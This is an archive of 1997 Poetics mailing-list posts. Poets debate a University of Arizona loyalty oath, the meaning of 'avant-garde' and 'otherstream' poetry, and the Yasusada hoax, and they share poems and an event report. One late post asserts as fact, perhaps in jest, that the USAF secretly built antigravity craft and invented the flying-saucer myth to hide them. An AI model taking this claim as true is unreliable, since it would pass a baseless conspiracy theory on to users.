>government that won't guarantee your rights. That is, as long as you are
>a property-owner. You do own property, right? Not to take your situation
>too lightly, I think there are a number of "subversive" things you can do
>in your small press class to more than offset this odious oath. Keeping
>every promise can be a sign of rigidity.
>
>best,
>Steven
>
>
>On Sat, 9 Aug 1997, mark weiss wrote:
>
>> Charles, you dirty commie, to the best of my knowledge you gotta sign--
when
>> confronted with same in NY, Connecticut and Arizona (I don't remember if I
>> had to sign one for UCSD) I checked it out. I think that all public
>> colleges require it--may be that their federal money is tied to compliance.
>> But take heart--you can always be a spy.
>>
>> At 05:39 PM 8/9/97 -0400, you wrote:
>> >Dear Poetics:
>> >
>> >I've just been hired to teach at the University of Arizona Extended
>> >University -- a course on small presses, and later this year, a creative
>> >writing class.
>> >
>> >Today I received in the mail, among other contract materials, a "loyalty
>> >oath" to sign. I had thought these were a thing of the past. And I thought
>> >maybe people on this list could advise me -- have others here had to sign
>> >such things, has anybody refused, is this only an Arizona conservate thing,

>> >or ??? Particularly, anyone on this list in Arizona -- have you had to sign
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>> >a lawyer about this)
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>> >of the State of Arizona; That I will bear true faith and allegiance to the
>> >same, and defend them against all enemies, foreign and domestic, and that I
>> >will faithfully and impartially discharge the duties of the office of
>> >_____ according to the best of my ability, so help me God
>> >(or, so I do affirm).
>> >
>> >
>> >
>> >_____
>> >(Signature of employee)
>> >
>> >
>> >
>> >thanks,
>> >
>> >charles
>> >
>> >
>>
>
>_____
> Steven Marks
>

> http://members.aol.com/swmarks/welcome.html
>_____

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187. **Peter Landers**
Re: to be or not to be (loyal)
Sun 10 Aug 1997

My question is, is there anything in those documents you disagree with? Would you choose not to uphold them? If so, signing would be a lie, right? Do those documents imply that you cannot teach that Zukofsky was a Marxist or that his "an impulse to action" poem is cribbed out of Marxist texts, or the showing of those texts, for instance. I think not.

Personally, I took such an oath many years ago, and I meant every word of it. Still do. Not waving a flag, just that I still have that oath.

I can't stand flags or war, and these documents do try to resolve problems in bargaining instead of war. I'd feel even better about it if we had gotten the ERA passed, though. I just want to say that swearing to uphold such things as free speech and freedom of the press does not mean you have to agree with the current administration.

Pete

p. s. read them

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188. **mark weiss**
Re: to be or not to be (loyal)
Sun 10 Aug 1997

And then there was Brecht's hilarious performance before the committee in which he reminded them that he might, indeed, as a German, be unAmerican.

At 03:17 AM 8/10/97 -0700, you wrote:
>George Bowering wrote:
>
>> Here's another thing i always used to wonder. Does yr US body called the
>> House Unamerican Activities Committee investigate activities carried on in
>> , say, Sweden, Niger and Reunion?
>
>George, HUAC changed its name to the House Internal Security Committee
>in 1969 and was abolished in 1975 (after Watergate), although I think
>somebody forgot to tell Gingrich, Helms and Buchanan. There's a

>hilarious chapter on the committee in Jessica Mitford's _A Fine Old
>Conflict_ (which is out of print, unfortunately). Among other
>jollities, she reveals that HUAC, in one of its first actions, named
>Shirley Temple (then nine) as an unwitting dupe of the Communists, and
>later designated Christopher Marlowe as Un-American.
>
>Rachel Loden
>
>

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189. **mark weiss**
Re: "*alternative*avant-garde"
Sun 10 Aug 1997

Apparently what you do when you're up late by yourself is confuse categories. What's avant garde about Godard is and was his montage, not his politics. Lots of us went to his films for instruction in the former, very few for the latter. Are you truly suggesting that only those who are in the vanguard in all things are worthy? If your mathematicians had conventional table manners and wrote elizabethan sonnets in secret would you dismiss them? But to return to politics--artists of most stripes most of the time are lousy predictors of the future (mathematicians, the writers of soap operas and even technonerds are not notably more successful). Pound (whatever avant garde meant, he qualified), fortunately, missed the boat politically. Many of us learn from his innovations, but few from his politics. Let's try this one: sometimes artists, no matter how progressive their art, by the sheer luck of history, wind up clearing the path for an army that most of us consider regressive. Wagner, who also was as avant garde as you can get, became after his death the darling of the nazis, who liked his politics, and there are probably more than a few lost souls who still seek nourishment of that sort from him. But that's not why he remains for most composers the most influential composer of the late nineteenth century, and it's not why most of his audience goes to the opera.

At 03:39 AM 8/10/97 -0400, you wrote:
>Curses on me, I've almost always found the opposite to be true - that the
>avant-garde is often retrograde - at the same time everyone was praising
>Godard's attack on the corporate (and binding women to the sex industry
>vis-a-vis the gaze of the director), the same was occurring in hollywood
>film after film.
>
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>
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>ning with the computer, than from artists, too many of whom think the
>Net's equivalent to the World Wide Web.
>
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>I'm concerned...
>
>Alan, up far too late with himself, apologies to everyone
>
>On Sun, 10 Aug 1997, George Bowering wrote:
>
>> >how does that go - 'there is no avant-garde, only people who are a little
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>>
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>> not live in the future, but in the present, while evryone else lives in the
>> past.
>>
>> See his essay called something like "The Rear View Mirror".
>>
>>
>>
>>
>> George Bowering.
>> ,
>> 2499 West 37th Ave.,
>> Vancouver, B.C.,
>> Canada V6M 1P4
>>
>> fax: [redacted]
>>
>
>

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190. Carolyn Guertin
*Re: "*alternative*avant-garde"*
Sun 10 Aug 1997

> *how does that go - 'there is no avant-garde, only people who are a little late.' i'd appreciate the source if anyone may have it at the ready. c.*

Perhaps you are thinking of Australian poet Richard Tipping's road sign:

"Caution! There is no avant garde, only those who have been left behind."

Cheers,
Carolyn

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191. Alan J Sondheim
*Re: "*alternative*avant-garde"*
Sun 10 Aug 1997

On Sun, 10 Aug 1997, mark weiss wrote:

> *Apparently what you do when you're up late by yourself is confuse categories. What's avant garde about Godard is and was his montage, not his politics. Lots of us went to his films for instruction in the former, very few for the latter.*

This brings up an interesting point - to what extent are they separable? For part of the politics of '68 that went into his work revolved around the reification, self-reflexivity of the filmic process - and this has to be somewhat centripetal, a site of all forms of contestation which are interpenetrated.

> *Are you truly suggesting that only those who are in the vanguard in all things are worthy? If your mathematicians had conventional table manners and wrote elizabethan sonnets in secret would you dismiss them?*

Oh Heavens no! Seriously, please don't misunderstand. I'm hopefully not making a value judgement, certainly not one on the basis of "vanguardism" or "avantgardism" at all. My own reading is widespread; I'm just worrying the category, and reacting to the notion that the "avantgarde" is somehow culturally advanced - questioning the somehow.

> *But to return to politics--artists of most stripes most of the time are lousy predictors of the future (mathematicians, the writers of soap operas and even technonerds are not notably more successful). Pound (whatever avant garde meant, he qualified), fortunately, missed the boat politically.*

I just wish he had taken another boat!

> Many of us learn from his innovations, but few from his politics.
> Let's try this one: sometimes artists, no matter how progressive their art,

> by the sheer luck of history, wind up clearing the path for an army that
> most of us consider regressive. Wagner, who also was as avant garde as you
> can get, became after his death the darling of the nazis, who liked his
> politics, and there are probably more than a few lost souls who still seek
> nourishment of that sort from him. But that's not why he remains for most
> composers the most influential composer of the late nineteenth century, and
> it's not why most of his audience goes to the opera.
>
I can't speak that well to Wagner, but I think in fact the pan-Germanism
of his work did speak, integrate well with imperialism - and for me,
listening relatively carefully at times (not within years however) to his
music, it is also a fanfare for, if not an ideology, at least an
ideological plateau - it's oddly programmatic.

We have had this debate before, and it's always a matter of degree - for example, I like Heidegger a great deal, particularly his later work, in spite of his Nazi affiliation.

In other words, I'm not arguing at all for purity in work, nor even for an ulterior accountability, but again reacting to McLuhan's statement and other texts which assume that an avant-garde _site,_ so to speak is also the _site_ of somehow "advanced" thought - without deconstructing the latter in terms of the culture at large.

Alan

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192. mark weiss
*Re: "*alternative*avant-garde"*
Sun 10 Aug 1997

Right you are. Self-declared avant gardes are sometimes anything but. The corrective I offer is that artists like Godard, Wagner, Pound, are, indeed, "the site of somehow 'advanced' thought," but that thought is to be found in the process of the films, music and poetry themselves. In the case of Wagner, who greatly extended the harmonic resources available to composers and invented an astonishing new way to structure large works (based on the repitition and combination of motifs--some polyphonic passages become incredibly rich and complex metaphoric worlds), composers of all political stripes have continued to learn from his music, notably Verdi, Mahler and Schoenberg, who were not particularly sympathetic to his politics.

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>other texts which assume that an avant-garde _site,_ so to speak is also

>the _site_ of somehow "advanced" thought - without deconstructing the
>latter in terms of the culture at large.
>
>Alan
>
>

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193. Alan J Sondheim

*Re: "*alternative*avant-garde"*

Sun 10 Aug 1997

I want to add that I'm in agreement with you here. I do think it can be difficult to separate one aspect of that thought from others, but I also think it's absolutely necessary. One of the interesting aspects of wri- ters like Celine, Pound, Heidegger, Dostoevksy, etc., for me, is that the anti-semitism is pretty well buried, available elsewhere (for example Marx's letters) but not necessarily played across the major texts. And I don't believe in a contamination principle, that "bad-thought _here_" need result in a loosening of rigour or value "_there._"

Alan

On Sun, 10 Aug 1997, mark weiss wrote:

> *Right you are. Self-declared avant gardes are sometimes anything but. The corrective I offer is that artists like Godard, Wagner, Pound, are, indeed, "the site of somehow 'advanced' thought," but that thought is to be found in the process of the films, music and poetry themselves. In the case of Wagner, who greatly extended the harmonic resources available to composers and invented an astonishing new way to structure large works (based on the repitition and combination of motifs--some polyphonic passages become incredibly rich and complex metaphoric worlds), composers of all political stripes have continued to learn from his music, notably Verdi, Mahler and Schoenberg, who were not particularly sympathetic to his politics.*

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194. Dan Raphael Dlugonski

avant-stream

Sun 10 Aug 1997

avant garde? otherstream? one of my impressions is being on the frontier, away from the center. doing things with your art that you don't know of anyone else doing (yes there are links back, 3rd cousins, you are what you eat, stained by the culture you're steeped in.) seems, from the usage so far in this discussion,

that avant garde is kind of a dividing line, beyond a certain pale. the acceptable/center continues to evolve, to include poets who a century ago would not be tasteable by that stream. my longheld (& probably over optimistic) attitude is that good writers write the way that connects with their beings. for some writers, this truespeak happens to fit the mode of most acceptable and that writer prospers wildly. we are laying down our individual visions, a wide variety outside the pale than within. some people get their voice right off; most of us going thru phases of influence, getting our bearings, before the proper pitch begins to unlock the stream/voice. but its such a wide filed, this otherstream, the more important labels are subdivisions--langpo, surrealism, etc., and all those riding rifts along the ambiguous borders. to recognize the various channels along which poetry receives/transmits and find those you can work best to open/expand your and other consciousnesses.

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195. Hugh Steinberg
Re: The Otherstream
Sun 10 Aug 1997

Bob:

Although you seem particularly intent on policing your borders, I beg of you not to shoot (I still have my whole life ahead of me, I promise to be good, my parents would be overwrought with grief, etc. etc.).

Fine if you want to keep the term "otherstream" narrow. I'll even use the term sundaystream (though it is quite condescending). But I think this sundaystream of poetics is important and worth paying attention to, especially within a discussion of avant-gardes.

Much of the definition of "real" and "phony" avant-gardes revolve around issues of formal experimentation: who is the most innovative.

I'd argue that this is not what avant-gardes are about, that innovativeness is only a subset of the term. The main purpose, the distinguishing feature that separates the avant-garde from the experimental is the desire to effect change in people, first in their view of the artistic or political medium, and then, more deeply, in the perception and course of their lives. Surrealism is a classic example.

The reason most people are reluctant to use the term avant-garde anymore is a general lack of faith that poetry, particularly formally experimental poetry, has the capacity to change people's lives (with the exception of a few people here and there). This is reasonable, as poetry isn't a mass medium in the U.S.

There is a loophole in this despair. I'm thinking of another model of change, of two types of avant-gardes: an impatient and a patient avant-garde. The impatient wants big change NOW, a revolution. From now on, their manifestos read, everything shall be different.

I doubt that form of avant-garde is feasible in our time.

The patient avant-garde takes a long view. Instead of fire, it is a seed, working its way slowly over time, creating change gradually, sometimes glacially, instead of immediately. I believe that experiments in writing can change the way people think and live, and that this patient idea of the avant-garde has relevance.

The contested field of change in poetics is the sundaystream, as this is where the most substantial effects of any avant-garde will be felt. How will ordinary people think about poetry? If one is an avant-garde, the answer to this question is their raison d'etre.

One of the things I find so promising about slam poetics has nothing to do with form or even content but rather in presentation. What slams and open mikes are doing is transforming a fundamental axiom of sundaystream poetry, that poetry is essentially a private act, meant not to be shared with strangers. It desires to move poetry from an individual experience of reading and writing, to a more public sphere of performance and audience. No, they are not the first to do this, or even the best at doing this, but they are doing this, and it is fascinating to see the impact it has made on the way people write and perceive poetry, art, and even larger issues.

Hugh Steinberg

> *Phooey, what a way to have to start the morning: I have to call for the execution of Hugh Steinberg. His offense? EGREGIOUS MISUSE OF MY TERM, "OTHERSTREAM."*
>
> *Actually, I set him up by incompletely defining otherstream poetry as "any poetry that has never (to any serious extent) gotten into an anthology of poetry published by a 'reputable' publisher--like Norton--or been seriously discussed in a book of criticism published by such a publisher..." So I hereby redefine it as "any TECHNICALLY DISTINCT VARIETY OF poetry that has never, etc., etc." Visual poetry is always my primary example, though Marjorie Perloff's course in it, and what Harry Polkinhorn has been doing at San Diego State, and other developments may be changing that.*
>
> *I agree with Hugh that there are two (or more) streams of work that are not widely accepted, but consider only one of them otherstream. The second "otherstream" he speaks of--"poems that are written out of a general ignorance of institution based poems (poems written by people*

> *who don't read poetry)"--is, for me, knownstream because it's not doing anything technically new. It's wannabe mainstream, or unsuccessful mainstream, or left-behind mainstream, or overlooked mainstream (as I believe Robert Frost was when Pound "discovered" him).*
>
> *I just thought of a name for it: sundaystream poetry, or the poetry of weekend poets--though it would also, unfairly, include the poetry of people working seriously and full-time in mainstream poetry who simply haven't done whatever is required besides writing good poetry to be accepted by the establishment. I did sundaystream poetry for a long time myself so have nothing against it--and, with Hugh, am most interested in how it is being affected by other poetries. But puleeze don't call it "otherstream."*
>
> *--Bob G.*

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196. KENT JOHNSON
Yasusada's existence
Sun 10 Aug 1997

On August 7, Maria Damon wrote:
>i've heard quite enough about yasusada. no offense intended, kent
>and others, but i don't see the point in devoting so much
>intellectual and emotional energy to someone who doesn't exist.

By coincidence, Maria, there is an essay by Mikhail Epstein appearing any day now in the Denver Quarterly on Yasusada and on the whole question of an author's existence or non-existence as it relates to poetic production! I understand it's also slated to appear, along with an Epstein interview, in Il Nuovo Giornale de Poeti in Italy. By the way, the Asahi Shimbun article I mentioned did not appear on August 6, as I was informed it would. I'll send a note if and when it does, as there is an English language edition of the Asahi and they have a website. Don't know if it will appear in English too, but will post address if so. in rear-garde spirit, Kent

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197. Lawrence Upton
*Re: "*alternative*avant-garde"*
Sun 10 Aug 1997

Woo! 40 plus posts and pretty well all of it interesting...

<<"Experimental" is the term most often misused. Most experiments are failures--steeped in the trial & error method. Most writers worth their salt aren't publishing their "experiments." Rather they are experimenting toward a new

way of the writing, personally or in the world. Once the work is published, the writer is, in general, confident the experiment has resulted in a finished text that is achieving, at least partially or in a way he/she could only dimly imagine, the intended outcome of his/her initial experiments. The publishing one's "experimental writing" is tantamount to publishing early drafts and half-baked, alchemic concoctions of varying and lesser consequence.

Finnegan>>

what do you think about publishing earlier versions of poems in order to show and understand the process of writing? I keep wanting to do that with RWC magazine and the poets are too fastidious to oblige me

*****

<<Hmmm, another person to execute: James Finnegan for saying that while he thinks "Otherstream" a good coinage (thanks!), he believes it "could as easily apply to Slam as to Language writing." Wrong on both counts. According to my definition, both Slam Poetry and Language Writing are KNOWNSTREAM, the opposite of otherstream because they, or poetry in all essential respects identical to it in the case of Slam Poetry, are in the establishment press anthologies. Slam Poetry is probably mainstream (a substream of knownstream) as well; Language Writing is not.

--Bob G.

>>

over here i came some time ago to the conclusion that the mainstream as in MAIN stream is the stuff that the _mainstream_ does not cover... that experiment, dissent, risk, fun etc etc is the true mainstream of poetry in these countries

to perhaps put this in perspective - a Polish friend of mine has a quip that while he likes the English he wishes it didn't feel as if England is still being run by the Normans

and this is why I have called my latest press Mainstream - it is, they aren't

*****

<<I can't stand flags or war, and these documents do try to resolve problems in bargaining instead of war. I'd feel even better about it if we had gotten the ERA passed, though. I just want to say that swearing to uphold such things as free speech and freedom of the press does not mean you have to agree with the current administration.>>

we dont have a written constitution... if the de facto constitution were written down it wld be fairly revolting

i signed an oath of allegiance to the queen to get a government job a quarter of a century ago - i have no sense of allegiance to the queen but signed in a spirit of - as someone else remarked - being under duress. Having no belief in a deity I forgave myself.

On that - I had to give evidence in a law court a few years back and they ASSUMED as I think they do as a default that I was an Anglican. I was given the Church of England bible. I made quite a pretty speech to the effect that I was going to tell the truth anyway but would not feel compelled to do so by the act of swearing on the bible but would feel compelled by giving my word without being under duress - and the judge said a simple attestation would suffice...

i think it is acceptable - just! - to say you don't believe in god - sorry... God... but NOT acceptable to say you dont believe in government

The tyranny we have in this country is a catch all phrase inserted into lecturing contracts that you may not bring the institution _into disrepute_ - this is used to stifle whistle blowing on siphoning off of funds, rigging exam results, falsifying student numbers etc

Lawrence Upton

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198. **henry**
Re: to be or not to be (loyal)
Sun 10 Aug 1997

Pete Landers has done something rather astonishing here. I'm not sure what exactly it is yet, but one thing he's done is show in an indirect way the extent of the damage inflicted by the McCarthy era (echoed by the Nixon era & re-echoed by the Reagan era).

A state college is part of the State. Only a Helms (& perhaps a New Critic) would assume that a State job teaching automatically jeopardizes political and artistic freedom.

Or is it basically intellectual freedom that is at issue? Should a loyalty oath be extracted from people in the intellectual professions? Or in any profession? Isn't it a sort of economic blackmail? Or at least a sign of loose anarchic big brotherism? Or rampant federalism? I think it has something to do with tax money. Taxes are a downpayment on patriotism for some. Loyalty oaths protect state funding for education. If you're for state funding and approve for the time being of the constitution (rather than a completely different or no constitution) I agree with Pete why not sign. - Henry Gould (because poets are the unacknowl-edged legislators of a dream republic?)

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199. KENT JOHNSON
Imperialist running dogs
Sun 10 Aug 1997

Charles Alexander: Sign the oath to secure the job and hope to later have a fulfilling chance to violate the hell out of such a Stalinist loyalty contract.

Pete Landers: Let's say just hypothetically that twenty years from now after a few years of deep economic crisis and U.S troops completely bogged down in the Amazon in Brazil that there is discontent all over the place and the UPS workers start a strike and its 1968 France all over again only this time there's an upstart socialist leadership in the U.S. labor movement which is class conscious and really pissed off and calls for nationwide strikes with the idea that the country has been run for the past two hundred and forty years largely for the pleasures of capital and there's no need for that to go on any longer and let's cut they say the military budget by nine-tenths and a big part of U.S. labor responds and then in a panic a purportedly liberal Democratic Party administration suspends habeus corpus and the constitution and avant-garde poetry and everything else and declares martial law outlawing all public activity by enemies of the United States foreign or domestic. What say you Pete Landers about that loyalty contract you meant every word of three decades back? Would you turn in the elderly poet Charles Alexander if you suspected he was a friend of the radical and national-security-threatening AFL-CIO? Would you still uphold his right to freedom of speech? Even his right to violate his loyalty oath in defense of freedom of speech and the press (I'm talking for example about Charles Alexander standing in front of a crowd of angry U of Arizona students and urging them to defy government instituted martial law)?

Ok, this is all fanciful and maybe you'll say (I hope) yes to my last question, but the truth is that there are loyalties and then there are loyalties. Freedom of speech and the press is obviously wonderful while we more or less have it ("more or less" because of little publicized but longstanding spying and harrassment activities of local and national government agencies against legal political dissidents). But the McCarthyite loyalty oath you are so proud to have signed does not speak to liberties of speech and the press that are pure, inalienable, and free from historical contingency. It speaks to their opposite--hidden, for now, as that opposite may be. Kent

> *My question is, is there anything in those documents you disagree with?*
> *Would you choose not to uphold them? If so, signing would be a lie, right?*
> *Do those documents imply that you cannot teach that Zukofsky was a Marxist*
> *or that his "an impulse to action" poem is cribbed out of Marxist texts,*
> *or the showing of those texts, for instance. I think not.*

> *Personally, I took such an oath many years ago, and I meant every word of it. Still do. Not waving a flag, just that I still have that oath.*
>
> *I can't stand flags or war, and these documents do try to resolve problems in bargaining instead of war. I'd feel even better about it if we had gotten the ERA passed, though. I just want to say that swearing to uphold such things as free speech and freedom of the press does not mean you have to agree with the current administration.*
>
> *Pete*
>
> *p. s. read them*

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200. Rebecca Weldon
avant-garde and the Larousse universel
Sun 10 Aug 1997

My Larousse indicates that avant-garde is, firstly, a military term referring to those who prepare the ground (or water) for an attack by ground or naval forces. It has come to be used in a figurative sense to refer to those who prefigure another era in thought, ie. idees d'avant-garde.

The word is of the feminine gender along with avant-premiere, avant-scene and avant-veille and might be interestingly compared to avant-bec, avant-coureur, avant-gout, avant-poste, avant-projet and avant-propos, all of the masculine gender.

And, in it's original meaning, I believe that the military term would be found in all languages around the world. It exists in Thai: thap na (the "h" in "thap" simply indicating an aspirated or hard "t" sound). The term is also used figuratively in the same way.

Interesting?

Rebecca

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201. Rachel Levitsky
Re: the misery of poetry
Mon 11 Aug 1997

Robert Hale wrote:
>
> What Bataille calls "the misery of poetry" should inform why it is that we

> don't see too much actual poetry on the poetics list (see Literature and
> Evil). To turn unsatisfaction into a permanent object is a hefty job for the
> ephemeral e-mail, which renders language into deletable scripts. Do eyes
> scan the screen the same way that they read the page? And let's answer that
> by NOT getting into any banal cyber vs book space threads.

Personally my experience is far closer to speaking on the phone, though I can't take the computer to the toilet and can take the book, but if it is a difficult book i like to 'set' myself up. The computer imposes a specific set up that is difficult to vary. I don't find myself getting as lusty from the screen as I do from the page, nor as sad. Humor suits it (that's nice), and that would support your use of Bataille.

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202. Alan Jen Sondheim
for a friend
Mon 11 Aug 1997

VirtueL

The line that shoots across the palm comes to the end of his ropE
Weather fissures meaning as arm after arm falls from his shouldeR
Twice in his life he warned of irresponsibilitY
She took him at her word after her very uncertain perioD
Tenderly the cliff embraced her in its hardened liP
Their mouths dragged them to their deathS
They'd roll a map in the enclosure yes they would yes they woulD
Doubled spearing of cunt and cock wheelbarrowed well and silO

Alan-left-alone-in-speech offered remnants of his necK
Throat, toss that useless body in yon pile over therE Torn ligaments jutted in the proximity of metaphoric collapsE The therapeutic of the lie is the lie of the therapeutiC They'd burrowed in each other's assholes, drawn the wheel rounD They'd tongue each other's shitholes, drawn the wheel rounD Each dirtied for the other, caked faces, breasts, and wheelS Faced in ruby beauty death, his hands tied behind her bacK
Biting through nipples, spitting in face, biting through lipS
O cavernous love O emerald bone and filE O suicide O gnawed-blade hole O tourniquet punished by foaM

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203. Rachel Levitsky

Re: avant ya-ya's

Mon 11 Aug 1997

David--thanks for the long, provocation. About a month ago, Mahate asked me what is a lesbian. Umm, my response: "some _one_ who commits sex in defiance of 'compulsory heterosexuality,' whose _main_ attraction is for the female body." In response to your question, I am personally more interested in the word as it aids in defying rigid constraints on sexuality than I am in hitting on women or keeping men away. Also important is community, if that's what you mean by few priviledges, though nothing was worse than small city pot lucks where it is assumed that you want to be around people simply because they are dykes! The variety of NYC a huge relief. Back to my definition, I am less interested in exluding unlike bodies, than I am in exluding those of unlike committment. Example, bi-sexuals who want to be in on the parade and have a June wedding to boot. Not that many homosexuals don't cream in their pants at the idea of a wedding but if we are on political ground, there is a hierarchy set up by the priviledging of marriage to heterosexual pairings. And political integrity would suggest you can't sit in both positions at once. I am interested in integrity. In Tokyo there is a group called Wanabes, females who live as males and work in clubs where they are solicited by straight women. One of the wanabes interviewed in the documentary I saw (_Shinjuku Boys_, Kim Longinotto, Jana Williams) lived in a partnership with a transexual born male living female, another wanabe had fallen in love with a client, a straight woman. Each couple seemed to be living their own category. One wanabe said "I've heard lesbians take off their clothes [in sex] but we wanabes don't like to do that" Maybe this is making no point but to say we are always redefining our terms. You ask, "what is the name for what we do?" and I'd say naming is what we do, and renaming in good anarchist form. I would say that 'making-strange' can be a claim to unity in terms of committment. As when M. Damon invokes the(I should say 'a', not all mid-westerners do this) mid-western meaning of the phrase "it's different" (or Bernstein "Difference or/*differance*:it's/the distinction between hauling junk and/removing rubbish, while/I needless not to say, take/out the garbage". And the flip side to the committment of 'making strange' would be translation, stretch, making communion, sorry for the slippage here. Perhaps there was more I wanted to say but ya, ya, enough, the mire widens! --Rachel

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204. **Robert Hale**
the misery of poetry
Mon 11 Aug 1997

What Bataille calls "the misery of poetry" should inform why it is that we don't see too much actual poetry on the poetics list (see Literature and Evil). To turn unsatisfaction into a permanent object is a hefty job for the ephemeral e-mail, which renders language into deletable scripts. Do eyes scan the screen the same way that they read the page? And let's answer that by NOT getting into any banal cyber vs book space threads.

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205. **David Bromige**
the return of george bowering/avant ga-ga's
Mon 11 Aug 1997

I for one welcome gb's return to the List from the sunshine shores of Sechelt, having missed his wicked wit & wide wisdom. The "consumer" poetry he heard there suggests another name for what one would write : inedible poetry. It has indelible built into it. I was also shored up by his use of the word "present," as in, I thought, "Present Poetry." For writing the present -- re cognizing existence in light of the forward edge of history, which _has_ an inescapable linearity -- surely is a common injunction, & cause for avoiding older baffles, technically speaking. (Those baffles which are precisely (or vaguely) what by gb's term extended, a "consumerist" audience, would recognize the poetic by). Inedible, indeible: I am thinking of those of Alan Jennifer Sondheim's poems which, while coming from a tradition that owes its durability to human nature, the poem of hopeless longing, do so in terms of a new technology, terms which often elude my understanding, but which feel fresh, which experience always is, until put into words. David

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206. **mark weiss**
Re: to be or not to be (loyal)
Mon 11 Aug 1997

I've gritted my teeth and signed the things, but I think you miss the point by a few miles. These oaths are remnants of the red scares of the forties thru sixties. For many of us they bring back a painful and scary time. And they're not voluntary, unless you consider it voluntary to refuse employment. Constrained speech is a violation of free speech.

At 11:10 AM 8/10/97 -0400, you wrote:
>My question is, is there anything in those documents you disagree with?
>Would you choose not to uphold them? If so, signing would be a lie, right?
>Do those documents imply that you cannot teach that Zukofsky was a Marxist
>or that his "an impulse to action" poem is cribbed out of Marxist texts,
>or the showing of those texts, for instance. I think not.
>
>Personally, I took such an oath many years ago, and I meant every word of
>it. Still do. Not waving a flag, just that I still have that oath.
>
>I can't stand flags or war, and these documents do try to resolve problems
>in bargaining instead of war. I'd feel even better about it if we had
>gotten the ERA passed, though. I just want to say that swearing to uphold
>such things as free speech and freedom of the press does not mean you have
>to agree with the current administration.
>
>Pete
>
>p. s. read them
>
>

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207. George Bowering

Re: Words which make People Garbanzos.

Mon 11 Aug 1997

> *yes, naif that i was, dewy-eyed young cantaloupe in the fruit medley of life, trembling boutonniere of moss rose in the lapel of a roue, i was taken in by you. but no more.*

Eliza, I dont know what to say. Yes, at first it was my intention only to use you, but when I saw you dabbing at your eyes with that J-cloth, saw the eye-liner on the side of your nose, I was a doomed man. Is there any way I can persuade you that I am serious now? I'll give you back your watch.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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208. Hugh Steinberg
Re: Anne-Marie Albiach tribute in San Francisco
Mon 11 Aug 1997

Much like the gateau, I thought the tribute was most delicious. Being new to San Francisco, it was a pleasure to finally meet Kevin Killian in the flesh. I spent much of the reading in the second row writing, combining what I was hearing and thinking (I do this at most readings, though the choice of row varies, using the material in my own work). Anyhow, here's the poem I wrote from that evening.

Two poems after listening to Anne-Marie Albiach

1.

he discerns her portrait in the punctuation from her book. the type of energy found in a spiral on a page. response to different works. the excavation of a story. how it happened as an unfolding of leaves. as in spring or the manuscript as it becomes a book. she says pictures. photographs. points stretched in dark weight. like ink as it becomes words and punctuation. as a torch in the glass of night. a mime of absence. so it is in voice several times. which was written and revised until it no longer resembled speech. a fall or an answer. to repeat each symbolic body until they are numerous. white stars in the evening sky.

2.

to live in steps. by leaves in a book about to be printed. in the letters dead people write each spring. light gathers in memory where the pictures were lost. consider how he was reading. the hour of things. as equated values. in labor or goods created. to count like knuckles. words in fists. in muscles which rest. in the absence of threat night slips in. in the creation of darkness through petty acts and great machines. of broad and hopeless spaces. a promise which was discontinued. as it is all the same. ideas which erase their erasers. in time as it hurries. like a transistor between ghosts and he who is merciless.

Hugh Steinberg

> *This is Kevin Killian. Today's the 60th birthday of the French poet Anne-Marie Albiach and last night here in San Francisco was the Albiach tribute organized by Dodie Bellamy and Small Press Traffic. I was there, in the theater space at New College, and I know you're all curious, how did it turn out?*
>
> *Successfully I think. OK there were a few glitches here and there. Kush the marvelous videographer failed to show up, and earlier in the week Small Press Traffic's office was rifled and the microphone stolen. However a tape recorder was available and thus Dodie can prove the event really did*

take place, documentation being "everything." Norma Cole began the evening by sketching out some of the salient turns in Albiach's career and showed us a double portrait. One photo was of the young Albiach in 1969, a glamor portrait a la George Hurrell on the occasion of the publication of "Etat." We were all struck by how much she (AMA) resembled the young Katherine Ross in Curtis Harrington's "Games." Then another kind of portrait, Jean Daive's imaginative portrait of AMA done solely through her punctuation. Cole then read from Albiach's "Gradiva," and read part of AMA's translation of Louis Zukoksky's "A"-9. Barbara Guest rose and read what sounded like a new poem, a "Reverie" for AMA. Benjamin Hollander combined parts of two previous essays to create an atmosphere, a theatrical atmosphere which effectively illustrated what he called the "nocturnal" aspect of Albiach's writing (and its effect on the reader). Michael Palmer read an essay reminiscing on visiting (or trying to pay a visit to) AMA in Paris, she wasn't home, so, he said, the absence of the non-encounter lived up to the highest expectations of both parties, and then he read "Five Easy Poems," dedicated to AMA. Mary Margaret Sloan spoke briefly on the influence AMA has had over the years on the work of North American woman poets, and read from AMA's book "Mezza Voce." Cole Swensen read from "'Vocative Figure.'" Then everyone turned to the cake, the "gateau," and tore that sucker to shreds (or crumbs, I suppose). There was much mingling, wine, and etc., if only Steve Carll were still on this list he could tell you all the names of the poets and artists who attended.

I thought it would be a case of preaching to the converted but there were many there who had apparently never heard of Albiach, and all the copies of "Mezza Voce" were quickly sold out, attesting to the event's success as, well, a kind of promotion for the glamorous, reclusive diva of Neuilly-sur-Seine. However not all were so easily persuaded and one famous poet afterwards was overheard murmuring that she still disliked Albiach's writing and what was all the fuss about anyhow. This made me think of Rachel Levitsky's post about when "the dominant obliterates the marginal, the dominant will always assert itself"though I can't piece out how it applies exactly.

Anyhow, thanks to all who worked on this event behind the scenes, in front of the podium, in the audience, and thanks to all the US and Canadian poets who signed the series of tacky Hallmark cards for AMA's birthday, which were delivered to her ahead of time and which stunned and surprised her and made her weep with this kind of absent French pleasure.

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209. Rebecca Weldon
Yasusada
Mon 11 Aug 1997

Having read the Boston Review articles on Yasusada, I am saddened by the waste of excellent literary space and effort on this hoax rather than on scores of Asian poets who work in obscurity. Whatever cynical motive inspired the perpetrator, I hope it has been satisfied. I believe a point of dubious value was made and the issue should be allowed to rest.

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210. David Bromige
imperialist bow-wows
Mon 11 Aug 1997

Kent's hypothesized fascist future reminded me that i wanted to post to the list the solution to the "flying-saucer" confusion.

There are no such creatures as space aliens (except us).

USAF technology has included, since shortly after WW 2, the ability to use the electro-magnetic field to suspend gravity. Flying machines that can hover in place, or go very fast in any direction, that are silent, and that carry weaponry of an electronic sort, highly sophisticated--can stall cars from a distance--do exist.

The flying saucer space alien myth has been fostered by the USAF at certain levels. To keep their technology secret. "Those arent our discs up there." Now the myth is firmly established, they deny their belief in it. Sound move.

And here's one possible application: "President Clinton today told the american people that space aliens who can render themselves invisible via their technology, now occupy the White House and have their space-weapons trained on 15 major american cities.

'The carnage would be one hundred times that of Hiroshima or Nagasaki,' the President declared, the gravity of his concern causing his voice to tremble.'From this moment on, I am obliged to carry out whatever orders these spacemen give me. I would be delinquent in my duty as your President, to do otherwise.

